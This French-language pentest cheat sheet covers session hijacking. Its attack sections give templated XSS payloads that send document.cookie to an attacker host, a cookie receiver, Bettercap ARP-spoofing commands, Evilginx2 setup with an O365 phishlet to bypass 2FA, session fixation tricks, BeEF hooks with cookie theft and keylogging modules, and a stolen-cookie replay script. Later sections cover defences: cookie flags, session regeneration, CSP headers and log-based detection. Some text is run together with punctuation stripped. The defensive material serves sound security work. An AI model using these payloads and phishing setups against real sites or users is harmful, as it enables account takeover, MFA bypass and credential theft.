Vol de session — Session Hijacking
XSS cookie theft, Evilginx2 reverse proxy, BeEF, session fixation, MITM cookies — attaque et détection
Vue d'ensemble
Vecteurs de vol de sessionXSS documentcookie exfiltration vers serveur attaquantMITM sniff trafic HTTP cookie en clairEvilginx2 reverse proxy transparent capture cookie POST-2FAFixation forcer un session ID connu victime sauthentifie avec ce IDBeEF hook navigateur steal cookies actions dans le contexte authPhishing fausse page identique proxy relay vrai cookie transfrObjectif final rejouer le cookie dans Burp/navigateur session active sans credentials
Vecteur 1 — Vol de cookie via XSS
// Payload XSS — exfiltration document.cookie<script>new Image().src = "http://{{LHOST}}:{{LPORT}}/steal?c=" + encodeURIComponent(document.cookie);</script>// Version encodée (contourne filtres basiques)<img src=x onerror="fetch('http://{{LHOST}}:{{LPORT}}/?c='+btoa(document.cookie))">// Via fetch (plus discret, pas de requête image dans le DOM)<script>fetch("http://{{LHOST}}:{{LPORT}}/c?"+document.cookie)</script>// Stored XSS — payload injecté dans un champ persistant (commentaire, profil)// → se déclenche pour chaque visiteur authentifié
# Récepteur côté attaquant — serveur Python minimalpython3 -cimport httpserver urllibparseclass HhttpserverBaseHTTPRequestHandlerdef do_GETselfprint'[COOKIE]' urllibparseunquoteselfpathselfsend_response200; selfend_headersdef log_messageself a passhttpserverHTTPServer'0.0.0.0' {{LPORT}} Hserve_forever# Ou via netcat (brut)nc -lvnp {{LPORT}}
# Récepteur avec Burp Collaborator (lab externe)# Générer une URL unique : Burp → Collaborator → Copy to clipboard# Injecter : <script>fetch('https://{{BURP_COLLAB_URL}}/?c='+document.cookie)</script># → Les cookies arrivent dans l'onglet Collaborator
Vecteur 2 — Interception réseau (HTTP non chiffré)
# Bettercap — sniffer cookies HTTP en clairbettercap -iface {{INTERFACE}}# Dans la console :netprobe onset arpspooftargets {{VICTIM_IP}}set arpspooffullduplex truearpspoof on# Activer le sniffer avec filtre cookieset netsnifffilter "port 80"set netsniffregexp "Cookie:.*"netsniff on
# tcpdump — capturer les headers HTTP avec cookiestcpdump -i {{INTERFACE}} -A -s 0 'tcp port 80 and (((ip[2:2] - ((ip[0]&0xf)<<2)) - ((tcp[12]&0xf0)>>2)) != 0)'| grep -E "Cookie:|Set-Cookie:"# Wireshark — filtre pour extraire les cookies# http.cookie or http.set_cookie# Suivre le flux TCP → copier la valeur Cookie: header
Vecteur 3 — Evilginx2 — Reverse proxy transparent (bypass 2FA)
Architecture Evilginx2Victime https//{{PHISH_DOMAIN}} Evilginx2 https//{{LEGIT_DOMAIN}}faux domaine proxy vrai siteEvilginx captureCredentials saisisCookie de session APRS authentificationRejouer le cookie accs sans MFA
# Installation Evilginx2apt install golang-go -ygit clone https//github.com/kgretzky/evilginx2cd evilginx2 && make# Lancer (nécessite un domaine + certificat Let's Encrypt auto)/evilginx2 -p phishlets# Configuration dans la console :config domain {{PHISH_DOMAIN}}config ipv4 {{SERVER_IP}}# Choisir un phishlet (template pour un site cible)phishlets hostname o365 {{PHISH_SUBDOMAIN}}{{PHISH_DOMAIN}}phishlets enable o365# Créer un lien de phishing (lure)lures create o365lures get-url {{LURE_ID}}# → URL à envoyer à la victime# Dès que la victime s'authentifie (y compris 2FA) :sessions # lister les sessions capturéessessions {{SESSION_ID}} # voir les tokens/cookies
# Rejouer le cookie volé dans Firefox# Extensions : Cookie-Editor ou EditThisCookie# Aller sur https://{{LEGIT_DOMAIN}}# Importer le cookie capturé (nom, valeur, domaine, chemin)# Recharger → session active
Vecteur 4 — Session Fixation
Principe1 Attaquant gnre un session ID valide ou le fixe via URL/cookie2 Victime reoit ce session ID via lien pig injection de cookie3 Victime sauthentifie serveur associe ses credentials ce session ID4 Attaquant utilise le mme session ID session auth active
# Test manuel — vérifier si le session ID change après login# Avant login :# Session ID = ABC123# Après login :# Session ID = ABC123 ← VULNÉRABLE (pas de régénération)# Session ID = XYZ789 ← PROTÉGÉ (nouveau ID généré)# Injecter un session ID via paramètre URL (si supporté par l'app)# https://{{TARGET}}/login?PHPSESSID={{FIXED_SESSION_ID}}# → Si le serveur accepte, la victime s'authentifie avec ce PHPSESSID# Forcer un cookie via sous-domaine (si domaine parent accepte les cookies)# Depuis attacker.{{TARGET_DOMAIN}} :documentcookie "PHPSESSID={{FIXED_SESSION_ID}}; domain=.{{TARGET_DOMAIN}}; path=/";
Vecteur 5 — BeEF (Browser Exploitation Framework)
# Installer BeEFgit clone https//github.com/beefproject/beefcd beef && /install/beef# Interface web : http://127.0.0.1:3000/ui/panel# Credentials par défaut : beef / beef (à changer dans config.yaml)# Hook JavaScript à injecter dans la page cible (via XSS stored)<script src"http://{{LHOST}}:3000/hook.js"></script>
// Une fois le navigateur hookés (zombie dans BeEF) :// Modules disponibles :// [Steal Cookies] — exfiltrer document.cookie// Network → Get Cookie// [Session Rider] — envoyer des requêtes HTTP dans le contexte de la victime// Network → Raw Request → POST /api/transfer avec les cookies injectés auto// [Redirect Browser] — rediriger vers une page de phishing// Browser → Redirect Browser → URL : http://{{LHOST}}/fake-login// [Screenshot] — capture d'écran du navigateur// Browser → Screenshot// [Keylogger] — enregistrer les frappes sur les formulaires// Browser → Hooked Domain → Get Form Values
Vecteur 6 — Manipulation de session avec Burp Suite
# Capturer une requête authentifiée dans Burp Proxy# → Clic droit → Send to Repeater# Dans Repeater : modifier le cookie de session# Cookie: session={{STOLEN_SESSION_TOKEN}}# Comparer la réponse avec le token original vs volé# Si réponse identique → session valide# Burp Intruder — brute-force de session ID (si faible entropie)# § autour du token → Payload : liste de tokens générés# Bruteforcer en cherchant une réponse 200 vs 302 (redirect login)
# Script Python — rejouer un cookie voléimport requestscookies = {"session": "{{STOLEN_SESSION_TOKEN}}","PHPSESSID": "{{STOLEN_PHPSESSID}}"}r = requests.get("https://{{TARGET}}/dashboard", cookies=cookies, allow_redirects=False)print(r.status_code) # 200 = session active, 302 = session expiréeprint(r.text[:500]) # contenu de la page authentifiée
Défense — Flags de sécurité des cookies
# Python (Flask) — configuration sécurisée des cookiesapp.config.update(SESSION_COOKIE_SECURE=True, # HTTPS uniquementSESSION_COOKIE_HTTPONLY=True, # inaccessible via document.cookieSESSION_COOKIE_SAMESITE='Strict', # bloque CSRF + cookies cross-siteSESSION_COOKIE_NAME='__Host-sess' # préfixe __Host- force Secure + pas de sous-domaine)
// Java (Spring Boot) — configuration sécurisée// application.propertiesserver.servlet.session.cookie.secure=trueserver.servlet.session.cookie.http-only=trueserver.servlet.session.cookie.same-site=strict
// PHP — forcer les flags sécurisésini_set('session.cookie_secure', 1);ini_set('session.cookie_httponly', 1);ini_set('session.cookie_samesite', 'Strict');ini_set('session.use_strict_mode', 1); // rejette les session IDs imposés de l'extérieursession_start();
// Node.js (Express + express-session)app.use(session({secret: process.env.SESSION_SECRET,resave: false,saveUninitialized: false,cookie: {secure: true,httpOnly: true,sameSite: 'strict',maxAge: 3600000 // 1h — courte durée de vie}}));
Défense — Régénération du session ID
// PHP — régénérer le session ID après login (anti-fixation)session_start();// ... vérification credentials ...if ($credentials_valid) {session_regenerate_id(true); // true = détruit l'ancien ID$_SESSION['user'] = $user;}
# Flask — régénérer à chaque élévation de privilègefrom flask import sessionimport secrets@app.route('/login', methods=['POST'])def login():if verify_credentials(request.form):session.clear() # vide l'ancienne sessionsession['user'] = request.form['user']session['_csrf_token'] = secrets.token_hex(32)return redirect('/dashboard')
Défense — Headers HTTP
# Nginx — headers de sécuritéadd_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{{CSP_NONCE}}'; object-src 'none';" always;add_header X-Frame-Options "DENY" always;add_header X-Content-Type-Options "nosniff" always;add_header Referrer-Policy "no-referrer" always;add_header Permissions-Policy "camera=(), microphone=(), geolocation=()" always;
CSP anti-XSS Content-Security-Policy)script-src 'self' bloque les scripts inline et cross-originscript-src 'nonce-{{NONCE}}' autorise uniquement les scripts avec le bon nonceobject-src 'none' bloque Flash Java obsoltes mais encore injectsImpact sur le vol de cookie XSSfetch et new Image bloqus si connect-src 'self'documentcookie accessible mme avec CSP seul HttpOnly bloque a
Défense — Détection (SIEM / logs)
# Nginx — identifier les sessions rejouées depuis des IPs différentesawk '{print $1, $7, $12}' /var/log/nginx/access.log |grep -v "{{OWN_IP}}" | sort | uniq -c | sort -rn | head -30# Chercher les accès depuis plusieurs IPs avec le même session token# (indicateur de session hijacking actif)grep "{{SESSION_TOKEN}}" /var/log/nginx/access.log | awk '{print $1}' | sort -u# > 2 IPs distinctes avec même token = compromission probable
# Validation côté serveur — lier la session à l'empreinte navigateurimport hashlibdef make_session_fingerprint(request):raw = request.headers.get('User-Agent', '') + request.headers.get('Accept-Language', '')return hashlib.sha256(raw.encode()).hexdigest()[:16]# Au login : stocker le fingerprint dans la sessionsession['fingerprint'] = make_session_fingerprint(request)# À chaque requête : vérifierif session.get('fingerprint') != make_session_fingerprint(request):session.clear()abort(401) # session invalidée — fingerprint ne correspond plus
-- Détecter les sessions actives depuis des localisations inhabituelles-- (si GeoIP est logué)SELECT session_id, user_id, ip, country, created_atFROM user_sessionsWHERE user_id = {{USER_ID}}AND country NOT IN (SELECT DISTINCT country FROM user_sessionsWHERE user_id = {{USER_ID}} AND created_at < NOW() - INTERVAL '30 days');
Référence — Flags de sécurité des cookies
| Flag | Protection | Contre quoi |
|---|---|---|
| HttpOnly | document.cookie inaccessible en JS | XSS cookie theft |
| Secure | Cookie envoyé uniquement en HTTPS | Sniffing HTTP / MITM |
| SameSite=Strict | Cookie non envoyé en requête cross-site | CSRF, Clickjacking relay |
| SameSite=Lax | Envoyé sur navigation top-level uniquement | CSRF (partiel) |
| __Host- préfixe | Force Secure + domaine exact + path=/ | Injection depuis sous-domaine |
| __Secure- préfixe | Force Secure uniquement | Cookie HTTP downgrade |
Checklist défensive — gestion des sessions
Evilginx2 contourne le MFA car il capture le cookie de session APRÈS l'authentification complète. HttpOnly et Secure ne protègent pas contre ce vecteur — la seule défense efficace est le token binding (lier le cookie TLS au certificat client) ou les passkeys/FIDO2 qui signent le domaine réel, rendant les credentials inutilisables sur un domaine proxy.
Le flag SameSite=Strict est souvent la mesure la plus simple et la plus impactante : il bloque à la fois le CSRF et l'envoi de cookies depuis un domaine de phishing. L'inconvénient est qu'il casse les liens externes vers des pages authentifiées (l'utilisateur est redirigé vers le login). SameSite=Lax est un bon compromis pour la plupart des applications.